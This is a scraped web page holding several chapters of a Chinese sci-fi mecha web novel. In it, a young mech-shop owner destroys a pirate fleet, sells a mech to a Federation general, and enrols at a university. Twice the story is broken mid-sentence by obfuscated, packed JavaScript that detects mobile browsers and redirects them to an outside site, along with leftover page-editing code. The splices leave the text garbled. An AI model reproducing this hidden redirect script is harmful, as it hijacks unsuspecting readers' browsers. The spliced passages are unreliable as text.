抱怨完了楚归澜提起正事:“你发的秘密申请我批了,回头等你的机甲改装结束,有人问起来尽管说是我批准的就行,话说你真舍得把「白起」随便交给一个陌生人修理?” “不是陌生人,是个技术很好的朋友。”游元起着重强调了最后两个字。 “好嘛好嘛,你的机甲你全权处理。”楚归澜话锋一转,“第七军团上报的第三方势力有线索了吗?” “信息部猜测他们跟攻击信息中心的同属一个组织,前后时间太巧合。” “而且同样拥有先进科技,确实巧合。” 对话沉默下来,两人都想到了另外一个同一时间出现的人。 楚归澜想过大师是否和他们有关系,但明显大师的作为与第三方势力对立,当务之急还是得先找到她本人。 而且,大师除了是大师,还是他的救命恩人,是他生命即将终结时见到的唯一一束光。 大师是不一样的。 游元起明白多说无益,楚归澜做事有分寸。 两人又岔开话题聊了一会儿,结束通话后游元起刚要挪开目光,智能系统自动关闭投影屏幕,另外弹出来一条副官的私信。 是他让副官整理的时嚣的个人资料。 资料记载时嚣在混沌星系长大,由于混沌星系遍地黑户所以之前的信息很模糊,十八岁时通过黑中介来到帝都星闯荡,最后被尼普顿大学录取。 一个黑户居然进入了尼普顿,怎么看都很诡异,中间必然隐去了一些东西。 游元起拥有赫拉的最高级权限,输入密钥后果然看到了她救下楚珈玉的记录以及皇室管家提交的特殊入学申请,显示申请时间是五分钟前。 皇室公主遭遇绑架的消息被封锁,因此救出公主的人没能得到大肆嘉奖,他又接到疑似有第三方势力支持反抗军的消息,一直忙于调查,居然到现在才知道原来那天的人是时嚣。 那就不奇怪了,公主想要报恩行使了特权。 他的指节微微弯曲,有节奏地叩了叩桌子。 也好,尼普顿大学里有很多退休的大师,时嚣去了能学到不少东西。 同一时间另一间办公室内,副官挠了挠头。 刚才他遇上了一件奇怪的事,在他第一遍查询时嚣资料的时候系统空空如也,第二遍又刷新出来了。 赫拉会出BUG吗? 他思索半天最终放弃思考,反正少将只是要这个人的详细信息,资料到位就行。 14. 第14章 开启自动巡航功能,时嚣解放双手后惬意地靠在驾驶座上,随手翻开一本关于机甲美学的书籍。 选衣服时楚珈玉传授了许多色彩搭配技巧,应用到机甲上也不错。 舷窗外闪过几道流光,她的注意力被吸引过去。 一支舰队在远处徘徊,像是在寻找什么,刻有狼首图案的领航主舰分外抢眼。 她心想这条航线真不错,时不时就有人路过,虽然不多但是客流量有保证。 光脑提示音打断了她的思绪,楚珈玉发来平安到家的消息。 回复完消息,时嚣顺手解除信号屏蔽,这样小智和小二就能收到她即将到家的信号,开启舱门做好接应准备,有小二在,说不定回到家就有热乎的蔬菜粥喝。 她期待着,忽然看到那支原本漫无目的的舰队有了目标似的调转航向,缀在了她后面。 有生意? 时嚣合上书本,来了精神。 与此同时,孤狼星盗团主舰内一片骚动。 “二哥,就是她!”副手在看到屏幕上和信号同时出现的轻型舰后高喊。 屏幕上的画面有些模糊,却恰好捕捉到少女抬眼的瞬间。 被称作“二哥”的孤狼星盗团二把手狐疑地打量看上去手无寸铁的少女:“就是她让我们吃了大亏?你确定?” “我确定,白况在反抗军高层公开投放了这个人的影像,要求所有人见到她都要给予最高级别礼遇,还强调不能主动打扰,我花了大价钱才打听到,反抗军那台突然出现的机甲就是从她那儿买的。”副手信誓旦旦。 那天他回去以后越想越不对劲,反抗军那群穷鬼要是有像样的装备早就拿出来了,怎么会等到损失过半才亮出来,最后他费了好大劲才得到这条航线上有家神秘机械店的消息。 二把手摩挲下巴:“能在这种地方开店,恐怕不简单。” “我们装备了五百台主力机甲,就算帝国禁卫军来了也能拼一拼。”副手见他犹豫,又下一剂狠药,“那台机甲的性能您也看到过,顶级机甲可遇不可求。” 二把手心动了。 这回他们来了五六百号兄弟,而对方孤身一人,怎么看都是稳赢的局面。 他沉吟片刻,目光定格在少女平静的面容上,最终贪婪战胜谨慎,在那架轻型舰即将停靠巨型星舰前下令。 “全体注意!目标确认!开火逼停她!优先活捉!” 整支舰队如同嗅到血腥味的狼群,气势汹汹扑向那艘看似脆弱的轻型舰。 时嚣收到系统发出的尖锐警报,显示追踪导弹盯死了她。 “城里人真野蛮呐。”她轻声低语,语气里有几分习以为常的无奈,同时指尖在控制面板上跳跃。 她猛地将操纵杆拉到底,轻型舰极限侧翻,避开一发光子炮。 舰体尚未恢复平衡,她又立刻操控舰体下沉,三枚追踪导弹无暇反应,在她身后相撞,炸开一团刺目的光晕。 余光扫过后视屏幕,几百台机甲正在集结。 时嚣眨了眨眼,原本已经搭在攻击确认上的手缓缓收回。 大多时间沉迷机械,有段时间没活动筋骨了耶,既然送上门来…… 她将动力推到最大,小巧的轻型艇立即向前窜去。 几台机甲已经从两翼包抄过来,试图封锁前进路线,而轻型舰以近乎垂直的角度俯冲,甩开追击后回归初始航线,稳稳落在平台上。 舱门弹开,小二出现在不远处,随后银色手环划出一道抛物线,精准落入她的掌心。 时嚣脸上所有表情都消失了,取而代之的是令人胆寒的肃杀。 她看向那些机甲,仿佛在看不知死活的虫子,对她来说两者也没什么两样,都是无缘无故打扰她的垃圾。 空气中传来细微震颤,仿佛有无形的能量在波动。 随着一道红光闪过,那台唯一没有售出的机甲凭空出现。 赤红金属上,血管般繁复的金色纹路从下至上依次亮起,直到机甲熄灭的瞳孔闪耀出熔岩般的光芒,一头沉睡的凶兽彻底苏醒。 星盗们不用二把手下令都能看出眼前这台机甲绝不一般。 顶级机甲! 贪婪和狂热让这些刀尖舔血的暴徒遗忘掉恐惧,五百台机甲同时开火,能量炮的光束将整片星域照得透亮。 但很快他们就为仓促的进攻付出了代价。 时嚣操控机甲灵活穿梭,每一次出手都精准得可怕,战斗经验丰富的星盗在她面前被衬托得无比笨拙。 星盗们一个接一个陨落,金属碎片逸散,映照出杀戮机器冰冷的轮廓。 发现人海战术不能决定战场胜负后,二把手终于按捺不住,召出自己的专属机甲。 机甲右臂装备的等离子炮开始充能,正在战斗的时嚣直觉被无形牵引,穿透一众星盗与他遥遥相望。 她迅速调整姿势,等离子炮掠过机甲外层保护罩,留下一道不太明显的扭曲波纹,然后残忍地洞穿了一台躲闪不及的机甲。 二把手丝毫没有敌我不分的懊恼,反而因时嚣机甲展现出的防御力更加火热。 他的胸甲向两侧展开,胸口接连射出几枚导弹。 时嚣不慌不忙挥舞激光切割刀,连续斩落三枚追踪弹,借着爆炸冲击波的反作用力凌空翻转,下落点刚好是二把手的肩膀,又在他回击前屈膝一跃,借助反作用力助推回旋,激光刀划过一道银色弧光,利落摧毁试图接近的另一台机甲,试图偷袭的机甲驾驶舱被整齐切开,里面的星盗甚至来不及发出惨叫就湮灭在爆炸之中。 一黑一红两台机甲不断碰撞、分开,几乎只能看到残影。 二把手逐渐感到吃力,却露出一个诡异笑容。 天真,他们可是星盗,怎么可能老实战斗。 他刻意调整位置,让时嚣的背部完全暴露在主舰队的炮口下,副手收到信号,悄无声息打开足以毁灭半个普通星球的粒子炮。 时嚣若有所感,不再恋战,速度一瞬间提升将近一倍。 二把手惊疑不定地瞪着突然发力的时嚣,只见赤红机甲双臂变形,露出隐藏的能源炮口。 直到这时,他才后知后觉意识到,时嚣从始至终只用过一把单薄的激光切割刀,看似有来有回的战斗完全是在跟着她的节奏走。 这个发现让他顿时感觉浑身的血液都凉透了,但已经来不及了,他的机甲在时嚣随手射出的一炮中四分五裂,化作太空中又一团绚烂的烟火。 下一秒,时嚣背过身,正面迎上那道粒子光束。 人在面对危险时会本能想要退缩,但在时嚣的世界里,机械生命不会恐惧。 机甲赤瞳幽深,一如她眼底近乎冷酷的沉静。 她的胸口位置切换成激光炮台,微微发热的胸膛快速集能,片刻后爆射出足以撕裂一切的激光束。 两股毁灭性的能量轰然相撞,迸发出令人目眩的白光,激光束在僵持中不断膨胀,最终碾过那道粒子光束,以摧枯拉朽之势冲向星盗。 帝国境内数一数二的星盗团主力舰队只剩一团碎屑,零星的逃生舱仓皇四散。 “录像已保存。”主脑复制体非常贴心。 时嚣没有去追,回到星舰内完整看了一遍录像,愉悦地笑了。 她正想着这台机甲宣传视频都有了,怎么才能招呼到客人,光脑忽然弹出一条消息。 【绿洲:有人看完比赛问我要你的联系方式,我给了他们你的黑市交易账号】 【买机甲找我:猫猫鞠躬.jpg送你一张九折购物卡】 【绿洲:。】 【绿洲:谢了】 另一端戈岩洲哭笑不得,他驾驶不了机甲,购物卡对他来说毫无意义。 不过,他想到那台陪伴他多年,最后只能尘封的老伙计,抿了抿唇。 就当支持小孩生意好了。 【绿洲:我有台机甲很久没有启动过了,有空帮我做一下保养吧】 【买机甲找我:猫猫点头.jpg】 【绿洲:下次你来黑市我交给你】 时嚣抚摸还没拆卸的机甲手环,心想最后一台机甲归宿有着落了,打开自从注册后还没登陆过的黑市交易平台。 一打开页面弹出百来条消息。 时嚣愣了一下,又打开戈岩洲的对话框,引用“九折购物卡”那句话。 【买机甲找我:八折】 她摩拳擦掌打开平台,主脑复制体主动筛掉其中不知所云的,只剩三条消息在正经求购。 戈岩洲早就说过黑市的人大多有自己的进货渠道,因此她没有为这个比例感到遗憾。 群发完一条“欢迎光临”后,她刚打算放下光脑做别的事,消息提示音再次响起。 【灰烬:你好,我看了你在黑市的比赛,很有意思】 秒回! 时嚣精神了。 【买机甲找我:你可以看看这台机甲,或许更有意思】 她把新鲜出炉的宣传视频发出去。 这回对方没再秒回。 吃完饭再收拾休息了会儿,一个小时后对方回了消息。 【灰烬:你有多少机甲,我全买了】 【买机甲找我:只有一台现货】 【灰烬:好,这台我要了,怎么订购机甲,我想再购买十台】 时嚣眼前一亮,但很快想起自己答应了白况的合作,再加上其他事,时间目前已经排满了,只好重新措辞。 【买机甲找我:最近接不了哦】 【灰烬:好的,那我预约排单,之后有现货请优先考虑我】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094458|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【买机甲找我:没问题】 这位客人很有眼光! 时嚣开了条交易链接发过去,狠狠设置了五十星币的高价,其余两条求购信息姗姗来迟,她只好暂时回绝。 “我们这里寄不了快递。”她刚才试了一下,显示检测不到收寄点。 “正在探测最近的快递收寄点,探测完毕。”主脑复制体给出答案,“您可以前往孤狼星盗团驻扎地。” 拿到灰烬发来的收件地址,时嚣照着念出:“巴别塔超星系团-穹顶星系群-混沌星系-第584号星球-边缘警戒区边境哨站B-219。” 主脑复制体适时出声:“该区域处于虫族入侵地带,虫潮爆发频繁,因此每隔七十二小时才对外开启一次快递接收窗口,今日预约上门取件的话预计三天后可以送达。” “预计三天后送达,邮费到付。”艾瑞尔敲了敲光脑屏幕,念出时嚣发来的消息,“她对我给的地址没有任何反应。” 被紧急召来的亲信之一双手离开键盘,推了推架在鼻梁上的眼镜:“确认视频没有造假痕迹。” 正好有人推门而入:“报告,经核查,视频里出现的狼首图案为帝都星系境内一个星盗团的标志性图腾,该星盗团一个小时前确实吃了一场败仗,一整支主力队伍全军覆没,他们的对手……只有一个人。” 作战室内顿时一片安静。 最后还是艾瑞尔打破沉默:“我怀疑,楚归澜那台机甲也出自她之手。” “这么巧?”亲信犹豫,“我们只是军备不足随便去黑市收一些装备而已,就能碰上传说级的大师?不会是针对我们联邦的阴谋吧?” “三天后就知道是不是阴谋了,如果有人愿意拿超级机甲出来钓鱼,那我上钩也愿意。”艾瑞尔抹了把脸,目光坚毅,“你们也知道现在什么情况,联邦内部出了问题,短时间内无法提供任何军需补给,而我们一旦放弃这里,周边几颗混沌星系仅剩的宜居星球将全部被虫族占领,上面生活的几百万人连撤退的能力都没有。” 她心里自嘲,堂堂联邦上将竟沦落到腹背受敌的境地,那些高层早被权术蒙蔽了心智,他们觉得只是放弃混沌星系、放弃几百万不属于联邦的人口而已,觉得现在撤退反而能让帝国顶上压力消耗军队。 她原以为那些人只是蠢,没想到又蠢又毒。 混沌星系是什么地方?是人类抵御虫族坚守了五百年的边境线! 如果这次安全返航,她不会再任由联邦被那些蠢货摆弄了。 “不惜一切代价只为买一台机甲,真的要赌么?”亲信烦躁地抓挠头发,“或许我们可以保险起见,大量购入普通机甲,有机会再跟她做交易。” 另一人打断了他:“如果她真的是帮助帝国王储的神秘人物,你觉得帝国会不找她继续交易吗?眼下情形只有一种可能,那就是她没有跟任何一方达成合作,联邦和帝国在她面前是平等的,那么她只会平等地给出一次机会。” 其他人默不作声。 这个机会很诱人,但是关系到太多人的生命。 艾瑞尔面容严肃,这时候她必须站出来做决定,任何动摇都会破坏军心。 “这台机甲必须拿到,从长远看我们需要跟帝国抗衡的筹码,小七,你去查账户扣了多少钱,如果还有剩余就继续购入机甲武器,如果已经是负债,那就联系银行以我个人名义贷款。” 亲信得令,却在打开账户后愣住了。 “怎么了?”艾瑞尔皱眉,由于摸不准对面性格她没问价格直接打开了交易额度上限,想着既然楚归澜能支付,那她也没问题。 难道估测错误了? “账面上……”亲信咽了口唾沫,“少了五十星币。” 众人恍惚,又向他确认了一遍,再次得到同样的回答。 不惜一切代价?五十星币? 简直是买不了吃亏买不了上当! 艾瑞尔短暂愣怔后脸色并没有好转。 她不怕对方漫天要价,就怕她什么都不要。 轻易平衡了帝国和联邦的局面,她到底要做什么? 艾瑞尔没忍住给戈岩洲发去消息,模糊了所有信息,只说她在时嚣那儿做了交易,询问这个人是否靠谱。 收到信息的戈岩洲警觉,想到时嚣强悍但是莫名有点单纯好骗的样子,打起了太极。 【绿洲:别多问,你只管交易就好,我做担保】 戈岩洲本意只是想保护一手时嚣,殊不知他的举动落到艾瑞尔眼中变成了另外一层意思。 戈岩洲这个人她听说过,混迹帝都星黑市多年,向来独来独往,是个难得正直的老好人。 能让他心服口服帮忙遮掩行径,光给出利益可不行。 这位神秘商人在下一盘很大的棋呐。 15. 第15章 孤狼星盗团主星球驻扎地内,气氛压抑得透不过气,几个侥幸逃回来的星盗连呼吸都小心翼翼,唯恐一句话说错惹怒首领。 首领半躺在沙发上,漫不经心听他们讲述事情经过,顺手打开光脑看二把手机甲损毁前传输回来的影像。 影像画面闪烁几下后变得清晰,首领猛地坐直身体,视线死死盯住画面中央那抹鲜明的红色。 录像因信号干扰不断晃动、模糊,却丝毫未损那台机甲的锋芒。 戴满戒指的手指无意识敲击扶手,节奏越来越急促,各色戒指越来越晃眼,他眼里的贪婪几乎要溢出来。 “老二那个废物,白瞎那么多资源。”他语气轻蔑。 “那人实力太强了。”忐忑的下属连忙添油加醋道,“我们留了几个兄弟监视,她居然完全没挪窝的意思,根本不把我们放在眼里!” 首领冷笑:“很嚣张嘛。” 他舔了舔镶金的尖牙:“我们主星球有多少能调动的人手。” “差不多两万。” “传令下去,分三批出动,第一分队正面强攻,第二分队侧面消耗,第三分队伺机突袭占领她的星舰。” 下属有些犹豫:“老大,现在就动手?” “老二正好消耗了一波,现在不出击难道要等她休息好?回头她反应过来跑了怎么办?”首领毫不在乎二把手等人的死亡,眼里只剩下对那台超级机甲的贪念。 另一个下属犹疑:“可是那台机甲强得过分,帝国联邦真的有这么强的机甲吗?我们要不要先查一下她的底细。” “瞧你这话说的。”急于将功抵过的星盗嫌他畏畏缩缩,“我们什么时候怕过人?就算她是帝国王储,在这片星域也得向我们低头,今天让她跑了,传出去我们还有脸混?” 他的自信并非没有依据,他们可不是普通的小星盗团,孤狼星盗团在帝国境域内扎根百年,拥有七个能源丰富的附属星球。 首领抬手打断他们的争执:“再强的机甲也有上限,况且她只有一个人,第三分队切断她回星舰补给的路,耗资源嘛,我们最不缺资源了,记得站位分散点,别像老二那样傻到站一块给她打。” 他摆弄指节上闪闪发亮的戒指,眼底半忌惮半轻慢。 超级机甲确实强大,但并非不可战胜。 前段时间帝国官方最神秘的机甲师「白起」平息反叛结果行踪泄密被算计的事不是秘密,虽然听说有惊无险,但「白起」身份似乎暴露了,那台超级机甲也遭受重创。 机甲师再强也强不过帝国赫赫有名的杀神「白起」,强如杀神也有百密一疏的时候,更不用提这种突然冒出来的无名氏,仗着超级机甲的威风肆无忌惮。 不容人质疑,首领率领舰队悄然进发。 探测警报响起时,时嚣正在工作室里调试最后一台机甲,确认机甲能源满量才把它装进手环,翻出个废弃纸盒打包完毕。 她抬头看了眼监控屏幕,发现大批战舰正在靠近。 “有客人来了?” 她放大屏幕,注意到那些战舰上的狼首图案,眉头稍稍一皱,又很快舒展开来。 “来者是客,他们那么弱,不至于再自讨苦吃吧。”不然也太自取其辱了。 她小声嘀咕,转念想到城里人的暴躁,以防万一把星舰控制权让渡给主脑复制体。 对面把战舰停在了星舰的防御范围之内,她寻思还挺有诚意,于是乐呵呵走出舱门。 她不知道的是,并非星盗团不想停远点,而是这已经是舰队的最远攻击范畴了,她完全没意识到自家星舰的火力覆盖范围有多夸张。 “老大,就是她!”一个星盗指着出现在屏幕里的时嚣喊道。 首领挥手示意,指挥主舰靠近星舰平台。 “欢迎光临小时机械店,有什么能帮到各位的吗?”时嚣依然是老套的开场白。 见她这么礼貌,首领以为她被自己的阵势震慑了,得意地露出金牙:“把那台机甲交出来。” 时嚣微微一愣才反应过来:“很不巧,那台机甲刚刚售出,你可以重新定制同类型机甲,不过要排单。” “忽悠谁?我的人可一直盯着你呢。”首领嗤笑一声。 时嚣认真解释:“是从网店渠道售出的,我正准备借你们驻扎地寄出,作为交换,你定制机甲的话我给你打九折。” 相信未来她的小店会越来越红火,她需要一个固定收寄点。 首领爆发出一阵张狂大笑,笑够了才反问:“你的意思是,我需要付钱?” 他阴恻恻地盯住时嚣,打了个响指。 星盗们操控机甲将她团团包围,百十米高的钢铁巨人中间,一米七三的小人格外弱小无助可怜。 与此同时数十架战舰炮口锁定星舰。 时嚣很不高兴。 她只是想好好经营她的小店,她没有种族歧视,没有为了固定收寄点把星舰碾过去,她甚至没有为了不被抢走客流量肃清周围星球!这群人却反复挑衅! 还要她怎样嘛! 她抬起右手,搭上腕带,一把看上去平平无奇的光子剑缓缓成形。 预定出货的机甲归顾客所有,她是有职业操守的商人,未经允许绝不擅用。 不过…… 她扫视四周机甲,掂了掂手里的光子剑。 没有机甲问题也不大。 她的思绪飘远,邻里关系不好处,还是给自己做台机甲比较稳妥,这样一来最近事情好多啊,小店先暂停接单吧。 眼下先把邻里关系处理好。 她的神情一点点冷下来,所有情绪被封存于薄冰之下。 时嚣的身影在机甲的衬托下显得极为娇小,她灵巧穿梭,光子剑在她手中发出眩目的白光。 被她从旁掠过的星盗忍不住感到滑稽,笑她居然没有第一时间取出机甲对抗,他正要去追,机甲内却响起尖锐的警报。 他下意识看向控制面板,只见代表左腿传感系统的指示灯变成了刺眼的红色,他还没来得及反应发生了什么,脚腕处骤然传来剧痛。 而在其他人眼里,时嚣只是路过他并完成了一个干净利落的挥砍动作,机甲足部便出现了一道平滑切面。 断裂的电线和零件下垂着,赫然是足部最脆弱的连接点。 星盗们惊恐回神,他们的机甲在她面前竟然像玩具一样不堪一击。 而另一边,企图拿下星舰控制权的星盗们对上了两双猩红的眼睛。 一黑一白默不作声上前,小二珍惜地取下围裙收好,小智则秒切战斗模式。 主脑复制体接收到战斗信号,全面启动星舰反击程序,以堪称恐怖的火力接管整片星域。 当逃跑未遂的首领眼睁睁看着自己的机甲被光子剑劈成两半时,三个小时前不可一世的星盗头子终于崩溃了。 “我错了!我付钱!我们做交易!我把所有钱都给你!”他除了哀求什么都做不到。 听到交易的字眼,时嚣动作停下,她想起作为一个商人的信念,顾客是上帝。 可惜,机械种族是无神论者。 光子剑划出一道锋利的光弧。 * 时嚣准备出发去孤狼星盗团主星球驻扎地时,小智非要跟着挤上轻型舰。 时嚣举起手腕语重心长:“我虽然没有机甲,但手环里贴身携带的东西足够应付大多数情况了,你不用担心我的安全。” 她想不通为什么小智一个机器人会患上火力不足恐惧症。 要不是星舰门口战斗过后满地狼藉,小二看不过眼非要留下来收拾,否则也得被小智抓过来充当火力。 “不行,外面,危险。”小智全然不听,只一味亮出武器。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100692|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好吧好吧。”时嚣见状终究还是妥协了,虽然她仍然觉得有手环就够了。 手环里储存的光子剑是她最趁手的武器,五岁那年妈妈把它交到她手里,接下来的岁月里陪伴她不断击杀虫族,不断碎裂,不断重铸,被改造得愈发坚韧,破坏力不可同日而语。 抵达目标地点,她抬头望了一眼,遮天蔽日的巨型星舰悬在半空,挡住了半边天光。 她特意将星舰停靠在距离星球较近的位置,让它毫无保留地暴露在孤狼星盗团的攻击范围内——这样应该足够表达诚意了。 这回她是抱着真诚友善的心前来拜访的,她已经为先前的冲动感到懊恼了。 在把来不及忏悔的孤狼首领砍瓜切菜般迅速解决后,她发现对方十个手指上竟然戴了二十个戒指!每枚戒指里都储存着一种能随时给机甲补充动力的稀有能源!老天!如此奢侈如此富有! 没见过世面的乡下孩子震惊! 于是冷静下来越想越后悔。 那位富有的星盗首领明明已经开始接受教诲,懂得了买东西要付钱的道理,她为什么没有给他一次改正的机会呢?有钱的顾客多难得呀,之前第一个顾客抠抠搜搜才拿出十星币。 邻里邻外的,偶尔有些磕磕绊绊很正常,妈妈说过,人与人之间的关系总要经历反复磨合才能建立起信任。 她还是太年轻太冲动了。 时嚣深刻反思,痛定思痛,在看到全副武装谨慎接近的人后换上尽量温柔的假笑。 她张了张口正要说话,对方突然扔掉手里的所有武器。 “大佬!您不用说!我都懂!” 胖子与她似笑非笑的目光碰到一块,又移向小智身上的八个瞬发炮筒,咽了口唾沫,火速滑跪双手奉上一枚戒指。 “这是我们星盗团能源库的钥匙,往后您随用随取!” 时嚣有点懵:“我以为你们会想报仇。” 本来寻思还得出点力气让他们心服口服呢。 胖子谄媚:“不,我们只想为您报销之前的能源消耗。” 时嚣扫过远处警惕的面孔:“他们……” “我的态度就是他们的态度。”胖子坚定回答。 “那就好。”时嚣眉眼柔和下来,“希望往后我们邻里之间相处愉快。” 胖子点头哈腰附和,低下头时眼珠转了转,思考她话中的含义。 这是要在附近常驻,敲打他呢。 “你叫什么名字?”时嚣询问新邻居。 胖子忙道:“您说我叫什么名字我就叫什么名字。” 时嚣敛目,关系好的人会取昵称,她瞥了一眼旁边的小智。 “那我就叫你小三吧。” “好!我以后就叫三儿了!巧了不是,我正好行三,这名字太贴切了!” 胖子一通吹捧,时嚣有种很不得劲的感觉,好像准备充足的一拳打到了棉花上。 正想着她不自觉转动了一下手腕,时刻注意着她的胖子立马道:“您之前说有东西需要寄出,我带您去收寄点吧。” 时嚣成功转移了注意力,胖子暗地里松了口气。 作为孤狼星盗团的三把手,他怎么也没想到自己有一天能成功上位,他对时嚣的观感很复杂,不过他向来奉承识时务者为俊杰的生存法则。 “哦对了,你们有很多能源矿对吧。”时嚣从口袋里拿出前首领的戒指,举到他面前晃了晃。 “有,您有什么需要随时告诉我就行。” 时嚣并没有要白占邻居便宜的意思:“一百星币能买多少焰晶?” 胖子:“……” 在时嚣疑惑的目光投过来之前他小心提问:“您觉得一百吨够不够?” 时嚣潇洒地递出黑卡:“那就来五十吨焰晶,剩下的全买陨纹矿。” 欸嘿,星币的购买力还挺强。 16. 第16章 时嚣不知道艾瑞尔拿到一个历经颠簸破破烂烂的纸盒子时是什么心情,因为她忙着设计自己的机甲,根本没有时间登录交易平台。 当她终于从铺满一地的设计手稿中走出来时,时间过去了好几天。 今天是她作为新生报到的第一天,在学校负责人略显古怪的注视下她雄赳赳气昂昂完成了刷脸确认、虹膜扫描、身份验证等一系列流程。 往后她也是有学历的人了!又向创业目标迈近一大步! 她的目光在个人信息籍贯一栏的“丫头星”上停滞一瞬,疑问还没升起就被学校负责人塞过来一张芯片。 “嵌入光脑就能接入尼普顿内网权限了。” 时嚣依言照做,询问接下来该做什么。 负责人维持着滴水不漏的职业假笑。 “我校推行开放式教学,不需要打卡上课。”尼普顿的“学生”哪怕退休了也个个日理万机。 “课程自行预约,没有学分要求。”谁敢对那帮有权有势的大佬提要求。 “校内设施一应俱全,包括宿舍、食堂全部免费,欢迎体验。”反正天价学费一揽子圈够了,公主还额外塞了不少。 “同学,你要不先在校园里转转,熟悉一下环境。”你一个关系户当然想做什么就做什么。 时嚣没有疑问,到一个陌生的地方先熟悉环境,听上去很合理。 于是,新鲜出炉的学生时嚣开始漫无目的闲逛。 刚转过一处拐角,一阵吵嚷声传入耳中。 “我就说,肯定不是这块的故障,估计是里面卡住了。” “死老头再嚷嚷你自己来!” 她望过去,一个精神矍铄的老爷爷坐在电动轮椅上,探出上半身盯着轮椅一侧,眉头紧锁。 另一个老婆婆蹲在地上,手里握着扳手,一边跟卡死的轮椅费力较劲一边抱怨:“我说你非要用带轮胎的轮椅干什么?现在谁还用这种老掉牙的东西,市面上那些悬浮式的多方便,上下楼梯都不用求人。” 老爷爷拍了拍轮椅扶手,不服气道:“我这动力足着呢,上下楼梯一样行,我就喜欢脚踏实地的感觉,悬浮式轻飘飘的,不自在。” 老婆婆抬起头瞪他一眼,视线不经意落在他空荡荡的裤腿上,又迅速移开。 “拉倒吧你,你要想脚踏实地,干脆装个假肢好了。” 老爷爷哼了一声:“自欺欺人的玩意儿,又不能连上传感装置,我现在还省点走路的力气。” “就你事多,半截入土的人了还指望上战场不成?”老婆婆站起身拍拍手上的灰,“我早就说过,别把机甲以外的东西交给玉山捣鼓,他的机械结构搞得跟加了密似的,一个轮子弄百来个齿轮,你看吧,他不在都没人能给你修。” “你们搞数据的不懂,齿轮声音多好听。” “算了算了,我搞不定,我叫人送个新的来吧。” “要带轮子的!” 时嚣直勾勾盯着那台轮椅。 她从小拆装过无数东西,从废旧机械到家用机器到爸妈的脑袋,一个比一个精密,反倒很少接触简单的机械,老式轮椅她还是头一次见。 按理说只需要很简单的驱动结构就能让轮椅运作起来,可这台轮椅出奇复杂,结构异常精密,给她的感觉就像所有人都知道一加一等于二,制造者非要用公式论证一加一等于二。 “我能试试吗?”她开口问。 老婆婆愣了一下,回过头望向她。 老爷爷也抬起眼,浑浊的眸子里掠过诧异,他竟然没发觉有人靠近。 时嚣继而补充:“我没修过这个,不过可以试试,我看它结构原理挺有意思的。” 老爷爷打量眼前陌生的女孩,稍稍挑眉,做了个“请”的手势。 老婆婆递上工具箱,后退一步饶有兴致地观察起来。 时嚣蹲下身仔细检查,很快发现了问题关键。 “得先把轮子卸下来。”她说。 老婆婆正要上前帮忙,却见时嚣单手托住轮椅扶手充当支撑,另一手干脆利落地拧松螺栓,转眼便将一侧轮胎卸下,动作娴熟没给两个老人反应时间。 而失去了单边轮胎的轮椅依然稳稳当当纹丝不动,连轻微晃动都没有。 老婆婆因她的力道一惊,老爷爷亦然。 时嚣没有继续动作,盯着内部机械结构看得入神。 老婆婆以为她犯了难,温和安慰:“结构是有点复杂,修不好也没关系。” 时嚣摇头:“能修。”她只是在偷师而已。 等她开始麻利地调试零件,老爷爷闲来无事感慨:“老伙计陪了我十几年,旧归旧,用得顺手。” 老婆婆不忘数落:“顺手也不见你找人好好保养。” “玉山说了,轮子能转就没问题。” “他说什么你都信。” “他是我搭档,我当然信。” 时嚣沉浸在机械世界里,老婆婆起初站在一旁看着,后来索性蹲下来帮她递工具。 十分钟后终于修好了,老爷爷尝试启动轮椅,脸上露出满意的笑容:“不错。” 他望向时嚣:“你是新来的教工?” “不是。”时嚣挺直腰板,语气自豪,“我是今天报到的新生。” 回应她的是两道如有实质的诡异目光,与办理入学手续的学校负责人如出一辙。 这难道是尼普顿的特色欢迎仪式吗?时嚣眨眨眼,试图复刻那道目光,眼角抽搐了两下。 老婆婆见状笑了下:“为什么会来尼普顿呢?” “为了学历。”时嚣答得直白。 “哦——”老婆婆拖长语调,“那我们是同学了,我是贺言,他是喻从风。” 时嚣从容地自我介绍:“贺同学好,喻同学好,我叫时嚣,请多关照。” 贺言看她并没有特别的反应,丝毫没有认出他们的样子,语带笑意道:“好孩子,我们要去上课,一起吗?” 时嚣犹豫:“我没有预约。” “不重要,尼普顿很自由。”贺言道。 时嚣似懂非懂,她对课堂确实好奇,便没多问就跟着他们走了。 她并不知道,仅仅是走到教室短短一段路的工夫,他们已经调阅了她的全部资料。 一个励志的黑户,逃离混沌星系来到帝都星,机缘巧合救下公主,如果赫拉的记录里没有掺杂过多公主殿下的个人情感,那么小姑娘还挺有意思的。 教室宽敞明亮,设备琳琅满目,有些是时嚣熟悉的,也有些她闻所未闻。 一群老人围成一圈,中间立着一个等人高的机甲立体投影,他们低声讨论着它的性能参数,不时伸手轻触投影,调整角度观察细节。 时嚣看到机甲时一愣,它的外观看着很眼熟,近似游元起那台,区别只是一个完好一个破损,不过内部结构略有差异。 贺言轻声解释:“他们在课堂讨论。” 时嚣凑近细看,立体投影里机甲像是虚拟拼图,手指轻点某处,那部位的机械结构便层层拆解开来,轴承、齿轮、线路、键槽……所有零件一一浮现。 有人注意到她的到来,神色诧异,下意识看向机甲投影。 几乎每个星际人都再熟悉不过这台机甲的名字——「白起」。 